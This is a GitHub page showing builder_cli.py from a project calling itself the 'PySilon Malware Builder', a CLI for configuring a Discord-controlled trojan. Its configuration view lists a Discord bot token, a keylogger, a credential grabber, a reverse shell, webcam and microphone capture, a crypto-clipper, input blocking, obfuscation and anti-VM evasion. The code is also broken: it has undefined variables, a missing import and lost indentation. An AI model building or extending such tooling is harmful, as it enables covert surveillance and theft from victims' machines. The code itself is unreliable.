-
Notifications
You must be signed in to change notification settings - Fork 192
Expand file tree
/
Copy pathbuilder_cli.py
More file actions
134 lines (117 loc) · 6.07 KB
/
builder_cli.py
File metadata and controls
134 lines (117 loc) · 6.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
import json
import os
import argparse
import configparser
parser = argparse.ArgumentParser(description='PySilon CLI')
parser.add_argument('--load', action='store_true', help='Load config')
parser.add_argument('-file', metavar='<yourFile>', help='Specify file')
args = parser.parse_args()
print('meow')
def load_config(file_path=config_path):
config = configparser.ConfigParser()
if os.path.exists(file_path):
config.read(file_path)
else:
print(f"Error: File '{file_path}' does not exist.")
sys.exit(1)
return config
def save_config(config, file_path=config_path):
with open(file_path, 'w') as config_file:
config.write(config_file)
def modify_config(config, section, option, value):
if not config.has_section(section):
config.add_section(section)
config.set(section, option, value)
def find_section_option(config, arg):
for section in config.sections():
for option in config.options(section):
if arg.lower() == f'-{option.lower()}':
return section, option
return None, None
if args.config:
config_path = args.config
print(os.getcwd())
class CLI_Builder:
def __init__(self):
print(
f'''
PySilon Malware Builder
Version: 4.0
Type "help" for list of commands.
''')
self.get_command()
def get_command(self):
self.issued_command = input('.')
match self.issued_command.split()[0]:
case 'set':
possible_settings = []
for argument in self.issued_command.split()[1:]:
if argument.count('-') == 2 and argument.count('=') == 1 and argument.count('"') == 2:
possible_settings.append(argument)
else:
self.error('Syntax', 'set')
possible_settings = []
self.get_command()
for setting in possible_settings:
setting = setting.split('=')
self.command_set(setting[0][2:], setting[1][1:-1])
case 'config':
match self.issued_command.split()[1]:
case '--view':
with open('resources/assets/configuration.tmp', 'r', encoding='utf-8') as read_configuration:
seek_configuration = json.loads(''.join(read_configuration.readlines()).replace('\n', ''))
self.command_config('view', seek_configuration)
case '--load':
with open(self.issued_command.split()[2], 'r', encoding='utf-8') as read_configuration:
draft_configuration = json.loads(''.join(read_configuration.readlines()).replace('\n', ''))
self.command_config('load', draft_configuration)
case _:
self.error('Syntax', 'config')
self.get_command()
def command_set(self, setting, value):
print(setting, value)
def command_config(self, subcommand, data=None):
match subcommand:
case 'view':
print(
f'''
PySilon Malware Configuration
Discord Token . . . . . . : {self.malware_configuration['token']}
Guild IDs . . . . . . . . : {self.malware_configuration['guild_ids']}
Registry Name . . . . . . : {self.malware_configuration['registry_name']}
Directory Name . . . . . . : {self.malware_configuration['directory_name']}
Executable Name . . . . . : {self.malware_configuration['executable_name']}
Implode Password . . . . . : {self.malware_configuration['implode_secret']}
f- Keylogger . . . . . . : {self.malware_configuration['functionalities']['keylogr']}
f- Screenshots . . . . . : {self.malware_configuration['functionalities']['scrnsht']}
f- File Management . . . : {self.malware_configuration['functionalities']['f_manag']}
f- Grabber . . . . . . . : {self.malware_configuration['functionalities']['grabber']}
f- Live Microphone . . . : {self.malware_configuration['functionalities']['mc_live']}
f- Microphone Recording . : {self.malware_configuration['functionalities']['mc_recc']}
f- Processes . . . . . . : {self.malware_configuration['functionalities']['process']}
f- Reverse Shell . . . . : {self.malware_configuration['functionalities']['rev_shl']}
f- Webcam . . . . . . . . : {self.malware_configuration['functionalities']['webcam_']}
f- Screen Recording . . . : {self.malware_configuration['functionalities']['scrnrec']}
f- Input Blocking . . . . : {self.malware_configuration['functionalities']['inputbl']}
f- Crypto-Clipper . . . . : {self.malware_configuration['functionalities']['crclipr']}
f- Messager . . . . . . . : {self.malware_configuration['functionalities']['messger']}
f- TextToSpeech . . . . . : {self.malware_configuration['functionalities']['txtspee']}
f- Audio Controlling . . : {self.malware_configuration['functionalities']['audctrl']}
f- Monitors Controlling . : {self.malware_configuration['functionalities']['monctrl']}
f- Website Blocking . . . : {self.malware_configuration['functionalities']['webbloc']}
f- Jumpscare . . . . . . : {self.malware_configuration['functionalities']['jmpscar']}
f- Keystroke Type . . . . : {self.malware_configuration['functionalities']['keystrk']}
f- Screen Manipulation . : {self.malware_configuration['functionalities']['scrnman']}
f- BlueScreenOfDeath . . : {self.malware_configuration['functionalities']['bluesod']}
Obfuscation . . . . . . . : {self.malware_configuration['obfuscation']['enabled']}
Anti-VM . . . . . . . . . : {self.malware_configuration['anti_vm']['enabled']}
Debug Mode . . . . . . . . : {self.malware_configuration['debug_mode']}
Icon . . . . . . . . . . . : {self.malware_configuration['icon_path']}
'''
)
case 'load':
self.malware_configuration = data
print('Configuration successfully loaded. You can view it with "config --view" command.')
def error(self, type, help):
print('Error')
CLI_Builder()